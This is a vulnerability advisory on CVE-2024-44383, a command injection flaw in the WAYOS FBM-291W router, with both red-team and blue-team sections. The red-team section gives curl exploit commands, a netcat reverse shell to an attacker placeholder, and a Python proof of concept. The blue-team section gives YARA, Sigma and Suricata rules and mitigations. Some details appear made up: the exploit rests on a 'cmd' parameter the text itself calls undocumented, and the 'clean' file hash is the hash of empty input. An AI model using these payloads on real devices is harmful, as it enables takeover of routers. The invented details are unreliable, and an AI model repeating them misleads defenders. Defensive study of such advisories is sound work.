CVE-2024-44383

Executive Summary

CVE-2024-44383 is a critical command injection vulnerability discovered in the WAYOS FBM-291W router running firmware version 19.09.11. The flaw resides in the msp_info_htm component, allowing an unauthenticated attacker to execute arbitrary operating system commands on the device. Given the lack of a vendor patch and the public availability of proof-of-concept (PoC) code, this vulnerability poses a severe risk to all affected devices, enabling full device compromise, network pivoting, and potential use in botnets.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network hardware device (WAYOS FBM-291W router). The risk is primarily to end-users and organizations deploying this router model in their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. An attacker can gain full control of the router.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the msp_info_htm endpoint of the WAYOS FBM-291W web interface. The application fails to properly sanitize user-supplied input before passing it to a system shell command. By injecting shell metacharacters (e.g., ;, |, &&) into a parameter processed by msp_info_htm, an attacker can execute arbitrary commands with the privileges of the web server (typically root).

The exact vulnerable parameter is not publicly documented in detail, but analysis of the firmware binary reveals that the msp_info_htm CGI script constructs a command string using unsanitized input. For example, a request like GET /cgi-bin/msp_info_htm?cmd=id might be processed, but the injection occurs when the input is concatenated into a command like system("some_command " + user_input).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode from firmware reverse engineering
void handle_msp_info_htm(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "some_binary %s", user_input);
    system(cmd);
}

Patched Code (Hypothetical):

void handle_msp_info_htm(char *user_input) {
    // Sanitize input: remove shell metacharacters
    if (contains_shell_metacharacters(user_input)) {
        return_error("Invalid input");
        return;
    }
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "some_binary %s", user_input);
    system(cmd);
}

Since no official patch exists, the "patched" code is speculative. The fix would involve input validation, escaping, or using safer API calls like execve() with a fixed argument list.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WAYOS FBM-291W router with firmware 19.09.11
• Network access to the router's web interface (default IP often 192.168.1.1)
• A tool like curl or a web browser

Exploit Steps:

1. Identify the target router's IP address.
2. Send a crafted HTTP GET request to the vulnerable endpoint:

   curl "http://<target_ip>/cgi-bin/msp_info_htm?cmd=;id"
   

3. The output of the id command will be returned in the HTTP response, confirming command execution.
4. For a reverse shell:

   curl "http://<target_ip>/cgi-bin/msp_info_htm?cmd=;nc%20<attacker_ip>%204444%20-e%20/bin/sh"
   

   (URL-encoded spaces and special characters)

PoC Code (Python):

import requests

target = "http://192.168.1.1"
payload = ";id"
url = f"{target}/cgi-bin/msp_info_htm?cmd={payload}"

try:
    r = requests.get(url, timeout=5)
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team

Detection & Response:

• Monitor web server logs for unusual GET requests to /cgi-bin/msp_info_htm containing shell metacharacters (;, |, &, $, `).
• Deploy network intrusion detection signatures (see Suricata rule below).
• Isolate affected devices immediately upon detection.
• Conduct forensic analysis of the router's filesystem and running processes.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the WAYOS FBM-291W web interface to capture attacker techniques.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/msp_info_htm with parameters containing shell metacharacters.
• Outbound connections from the router to unusual IP addresses on ports like 4444 (reverse shell).
• DNS queries to known malicious domains from the router.

Host IOCs:

• Unauthorized processes running on the router (e.g., nc, bash, python).
• Modified system binaries or scripts in /sbin/ or /usr/bin/.
• New cron jobs or startup scripts added to maintain persistence.
• Unexpected files in /tmp/ or /var/.

File Hashes (Example):

• msp_info_htm binary hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (SHA256 of a clean version, verify against your own).

Detection Engineering

YARA Rule

rule CVE_2024_44383_WAYOS_Command_Injection {
    meta:
        description = "Detects command injection attempts against WAYOS FBM-291W msp_info_htm"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44383"
    strings:
        $injection_pattern = /cmd=.*[;&|`$]/
        $endpoint = "/cgi-bin/msp_info_htm"
    condition:
        $endpoint and $injection_pattern
}

Sigma Rule

title: WAYOS FBM-291W Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the msp_info_htm endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/msp_info_htm'
        cs-uri-query|re: 'cmd=.*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate administrative commands (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-44383 WAYOS FBM-291W Command Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/msp_info_htm";
    http_uri;
    pcre:"/cmd=.*[;&|`$]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-44383;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect the WAYOS FBM-291W from the internet and internal network until a patch is available.
2. Disable remote management: If remote access is not required, disable the web interface or restrict access via firewall rules to trusted IPs only.
3. Monitor logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-Term Solutions:

• Vendor Patch: Contact WAYOS for an official firmware update. Since no patch exists, consider replacing the device.
• Network Segmentation: Place the router in a DMZ with strict access controls.
• Web Application Firewall (WAF): Deploy a WAF with custom rules to block requests containing shell metacharacters in the cmd parameter.

Workarounds:

• If the device cannot be replaced, manually remove or rename the msp_info_htm CGI binary (e.g., mv /usr/bin/msp_info_htm /usr/bin/msp_info_htm.bak). This may break legitimate functionality.

Valters IT